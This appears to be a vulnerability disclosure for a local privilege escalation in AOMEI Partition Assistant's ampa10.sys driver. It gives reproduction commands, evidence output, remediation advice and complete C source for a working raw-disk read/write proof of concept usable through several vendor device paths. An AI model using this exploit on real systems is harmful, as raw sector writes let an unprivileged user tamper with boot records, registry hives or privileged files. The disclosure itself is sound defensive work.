AOMEI Partition Assistant 10.10.1 Kernel Driver ampa10.sys Local Privilege Escalation

Summary

`ampa10.sys`, shipped with AOMEI Partition Assistant Standard 10.10.1, exposes the `\\.\wowrt` device to a standard local user and forwards file read/write requests to the underlying disk stack. The forwarded requests are issued from kernel mode, so the normal Windows access check that prevents a standard user from opening `\\.\PhysicalDriveN` is bypassed.

In a controlled proof, a standard Medium Integrity user could not open a temporary VHD-backed physical disk directly. The same user then wrote a unique 512-byte marker to that disk through `\\.\wowrt\Partition0\DISK1`, read it back through the driver, and an Administrator confirmed the marker by directly reading `\\.\PhysicalDrive1` at the same offset.

An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.

Affected Product and Version

- Product: AOMEI Partition Assistant Standard
- Product version: 10.10.1
- Affected driver: `ampa10.sys`
- Driver SHA-256: `4909945CC832276521A749B196939D7BAA66BA9B0FC0A69F8DCD9045D69E9780`
- Driver file size: 32,752 bytes
- Driver signature: Valid
- Driver signer: `AOMEI International Network Limited`
- Driver certificate issuer: `Sectigo Public Code Signing CA EV R36`

Download URL and SHA-256

- Download URL: `https://www2.aomeisoftware.com/download/pa/PAssist_Std.exe`
- Downloaded file name: `PAssist_Std.exe`
- Installer SHA-256: `0C244FF57E35174E9FA017DF06CA54B7EDF5927D164E2ABD22AD44B8D7BBDE2C`
- Installer signature: Valid, signer `AOMEI International Network Limited`

Vulnerability Type

Local privilege escalation / Windows access-control bypass through an unauthenticated raw disk I/O forwarder.

Impact

A standard local user can issue raw disk reads and writes through the vendor driver even though direct access to the same physical disk is denied by Windows. Raw disk write access can be used to tamper with file-system structures, boot records, registry hives, or privileged files by sector offset. The proof below writes only to a temporary VHD created for testing.

Test Environment

- OS: Microsoft Windows Server 2025 Datacenter Evaluation
- Version: 10.0.26100, 64-bit
- High-privilege account: local Administrator
- Low-privilege account: standard local user
- Low-privilege integrity level: Medium Mandatory Level
- Test target: 64 MiB temporary VHD attached as `\\.\PhysicalDrive1`

Driver Load / Setup Steps

The installer was extracted offline; the product installer UI was not executed.

```
innoextract.exe -d C:\ProgramData\VendorRepro\aomei_pa_inno
C:\Users\Administrator\Downloads\PAssist_Std.exe
Copy-Item C:\ProgramData\VendorRepro\aomei_pa_inno\app\native\wlh\amd64\fre\ampa10.sys
C:\ProgramData\VendorRepro\aomei_pa_driver\ampa10.sys
sc.exe create aomei_ampa10_repro type= kernel start= demand binPath=
C:\ProgramData\VendorRepro\aomei_pa_driver\ampa10.sys
sc.exe start aomei_ampa10_repro
```

Driver load result:

```
SERVICE_NAME: aomei_ampa10_repro
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                             (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
```

The temporary VHD was created and attached with DiskPart:

```
create vdisk file="C:\ProgramData\VendorRepro\aomei_pa_work\controlled_disk.vhd" maximum=64 type=fixed
attach vdisk
```

Windows assigned the VHD as `\\.\PhysicalDrive1`.

Reproduction Steps

As the standard user, first confirm direct raw disk access is denied:

```
[System.IO.File]::Open("\\.\PhysicalDrive1", [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite)
```

Then run the proof program as the same standard user:

```
$device = "\\.\wowrt\Partition0\DISK1"
$offset = 3145728

.\aomei_raw_disk_forwarder_poc.exe --device $device --write --offset $offset --in .\payload.bin --dangerous-write
.\aomei_raw_disk_forwarder_poc.exe --device $device --read --offset $offset --length 512 --out
.\low_user_readback.bin
```

Finally, as Administrator, read the same physical disk offset directly:

```
$fs = [System.IO.File]::Open("\\.\PhysicalDrive1", [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read,
[System.IO.FileShare]::ReadWrite)
$fs.Seek(3145728, [System.IO.SeekOrigin]::Begin)
```

Baseline Evidence

The test user is a standard user at Medium Integrity:

```
User Name          SID
================== ================================================
win-r10ekfcblse\low S-1-5-21-3216720306-2916786533-1985372423-1000

Group Name                           Type           SID         Attributes
==================================== ================ ============
=================================================
BUILTIN\Users                        Alias          S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label          S-1-16-8192
```

Direct access to the VHD-backed physical disk failed:

```
EXPECTED_DENIED: System.Management.Automation.MethodInvocationException: Exception calling "Open" with
"4" argument(s): "Access to the path '\\.\PhysicalDrive1' is denied."
```

Exploit Evidence

The same standard user wrote and read a unique marker through `\\.\wowrt\Partition0\DISK1`:

```
=== low ampa10 final exploit ===
write request completed; driver_reported=512 requested=512
WRITE_EXIT=0
read request completed; driver_reported=512 saved=512 into
C:\ProgramData\VendorRepro\aomei_pa_work\low_ampa10_final_readback.bin
READ_EXIT=0
READBACK_ASCII=AOMEI-PA-RAW-SECTOR-0729064d-70b0-4fd4-8622-c52da1698423
```

Administrator direct readback from the same physical disk offset confirmed the marker was actually written to the temporary disk:

```
=== admin physical readback after ampa10 final ===
target=\\.\PhysicalDrive1
offset=3145728
bytes_read=512
readback_ascii=AOMEI-PA-RAW-SECTOR-0729064d-70b0-4fd4-8622-c52da1698423
```

Why This Proves the Vulnerability

Windows denied the standard user direct read/write access to `\\.\PhysicalDrive1`. The user did not have administrative privileges or storage-management privileges.

After `ampa10.sys` was loaded, the same user could open `\\.\wowrt\Partition0\DISK1` and perform raw disk I/O through the vendor driver. The marker was read back through the driver and then independently confirmed by an Administrator reading the VHD-backed physical disk directly. Therefore, the driver exposes privileged raw disk functionality to a standard user without enforcing the expected Windows access checks.

Cleanup Steps

```
sc.exe stop aomei_ampa10_repro
sc.exe delete aomei_ampa10_repro

diskpart /s detach_vhd.diskpart
Remove-Item C:\ProgramData\VendorRepro\aomei_pa_work\controlled_disk.vhd -Force
Remove-Item C:\ProgramData\VendorRepro\aomei_pa_driver\ampa10.sys -Force
```

The test used only a temporary VHD and did not write to a real system disk.

Suggested Remediation

- Create the device with an explicit restrictive security descriptor, for example admin-only access via `IoCreateDeviceSecure`.
- Set `FILE_DEVICE_SECURE_OPEN` for the exposed device.
- Reject user-mode callers for raw disk forwarding paths unless the caller is explicitly authorized.
- Do not forward arbitrary read/write operations to disk device objects on behalf of unprivileged callers.
- Add per-request authorization checks for any operation that can read or write raw disk sectors.

POC

```
// AOMEI raw-disk forwarder proof-of-impact.
// Supported device families include \\.\wowrt, \\.\ddmwrt, and \\.\amwrtdrv.
// This program is intentionally inert unless --read or --write is selected.
// Destructive writes require --dangerous-write.

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
```

```
#include <stdio.h>
#include <stdint.h>
#include <wchar.h>

static void usage(void) {
    fwprintf(stderr,
        L"usage:\n"
        L"  aomei_raw_disk_forwarder_poc.exe --device <path> --read --offset <n> --length <n> --out <file>\n"
        L"  aomei_raw_disk_forwarder_poc.exe --device <path> --write --offset <n> --in <file> --dangerous-write\n"
        L"\nexamples:\n"
        L"  --device \\\\.\\wowrt\\Partition0\\DISK0\n"
        L"  --device \\\\.\\ddmwrt\\Partition0\\DISK0\n"
        L"  --device \\\\.\\amwrtdrv\\Partition0\\DISK0\n");
}

static const wchar_t *arg_value(int argc, wchar_t **argv, const wchar_t *name) {
    for (int i = 1; i + 1 < argc; ++i) {
        if (wcscmp(argv[i], name) == 0) return argv[i + 1];
    }
    return NULL;
}

static int has_arg(int argc, wchar_t **argv, const wchar_t *name) {
    for (int i = 1; i < argc; ++i) {
        if (wcscmp(argv[i], name) == 0) return 1;
    }
    return 0;
}

static uint64_t parse_u64(const wchar_t *s) {
    return s ? _wcstoui64(s, NULL, 0) : 0;
}

static int read_file_all(const wchar_t *path, BYTE **buf, DWORD *len) {
    HANDLE f = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    LARGE_INTEGER sz;
    DWORD got = 0;
    if (f == INVALID_HANDLE_VALUE) return 0;
    if (!GetFileSizeEx(f, &sz) || sz.QuadPart <= 0 || sz.QuadPart > 0x1000000) {
        CloseHandle(f);
        return 0;
```

```
    }
    *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)sz.QuadPart);
    *len = (DWORD)sz.QuadPart;
    if (!*buf || !ReadFile(f, *buf, *len, &got, NULL) || got != *len) {
        CloseHandle(f);
        return 0;
    }
    CloseHandle(f);
    return 1;
}

static int write_file_all(const wchar_t *path, const BYTE *buf, DWORD len) {
    HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD wrote = 0;
    if (f == INVALID_HANDLE_VALUE) return 0;
    if (!WriteFile(f, buf, len, &wrote, NULL) || wrote != len) {
        CloseHandle(f);
        return 0;
    }
    CloseHandle(f);
    return 1;
}

int wmain(int argc, wchar_t **argv) {
    const wchar_t *device = arg_value(argc, argv, L"--device");
    uint64_t offset = parse_u64(arg_value(argc, argv, L"--offset"));
    int do_read = has_arg(argc, argv, L"--read");
    int do_write = has_arg(argc, argv, L"--write");

    if (!device || do_read == do_write) {
        usage();
        return 2;
    }

    HANDLE h = CreateFileW(device, GENERIC_READ | GENERIC_WRITE,
                           FILE_SHARE_READ | FILE_SHARE_WRITE,
                           NULL, OPEN_EXISTING, 0, NULL);
    if (h == INVALID_HANDLE_VALUE) {
        wprintf(L"CreateFileW(%ls) failed: %lu\n", device, GetLastError());
        return 1;
    }
```

```
    LARGE_INTEGER li;
    li.QuadPart = (LONGLONG)offset;
    if (!SetFilePointerEx(h, li, NULL, FILE_BEGIN)) {
        wprintf(L"SetFilePointerEx failed: %lu\n", GetLastError());
        CloseHandle(h);
        return 1;
    }

    if (do_read) {
        const wchar_t *out = arg_value(argc, argv, L"--out");
        DWORD len = (DWORD)parse_u64(arg_value(argc, argv, L"--length"));
        if (!out || len == 0 || len > 0x1000000) {
            usage();
            CloseHandle(h);
            return 2;
        }
        BYTE *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, len);
        DWORD got = 0;
        if (!buf) return 1;
        if (!ReadFile(h, buf, len, &got, NULL)) {
            wprintf(L"ReadFile via vulnerable forwarder failed: %lu\n", GetLastError());
            HeapFree(GetProcessHeap(), 0, buf);
            CloseHandle(h);
            return 1;
        }
        DWORD out_len = got;
        if (out_len > len) {
            wprintf(L"driver reported %lu bytes for a %lu-byte read; clamping saved output to requested length\n",
got, len);
            out_len = len;
        }
        if (!write_file_all(out, buf, out_len)) {
            wprintf(L"writing output file failed: %lu\n", GetLastError());
            HeapFree(GetProcessHeap(), 0, buf);
            CloseHandle(h);
            return 1;
        }
        wprintf(L"read request completed; driver_reported=%lu saved=%lu into %ls\n", got, out_len, out);
        HeapFree(GetProcessHeap(), 0, buf);
    } else {
```

```
        const wchar_t *in = arg_value(argc, argv, L"--in");
        if (!has_arg(argc, argv, L"--dangerous-write") || !in) {
            fwprintf(stderr, L"write mode requires --in <file> and --dangerous-write\n");
            CloseHandle(h);
            return 2;
        }
        BYTE *buf = NULL;
        DWORD len = 0, wrote = 0;
        if (!read_file_all(in, &buf, &len)) {
            wprintf(L"reading payload failed: %lu\n", GetLastError());
            CloseHandle(h);
            return 1;
        }
        if (!WriteFile(h, buf, len, &wrote, NULL)) {
            wprintf(L"WriteFile via vulnerable forwarder failed: %lu\n", GetLastError());
            HeapFree(GetProcessHeap(), 0, buf);
            CloseHandle(h);
            return 1;
        }
        if (wrote > len) {
            wprintf(L"driver reported %lu bytes for a %lu-byte write; requested buffer length was used\n", wrote,
 len);
        }
        wprintf(L"write request completed; driver_reported=%lu requested=%lu\n", wrote, len);
        HeapFree(GetProcessHeap(), 0, buf);
    }

    CloseHandle(h);
    return 0;
}
```

Revision #4
Created 20 May 2026 15:12:30 by winslow
Updated 20 May 2026 16:14:26 by winslow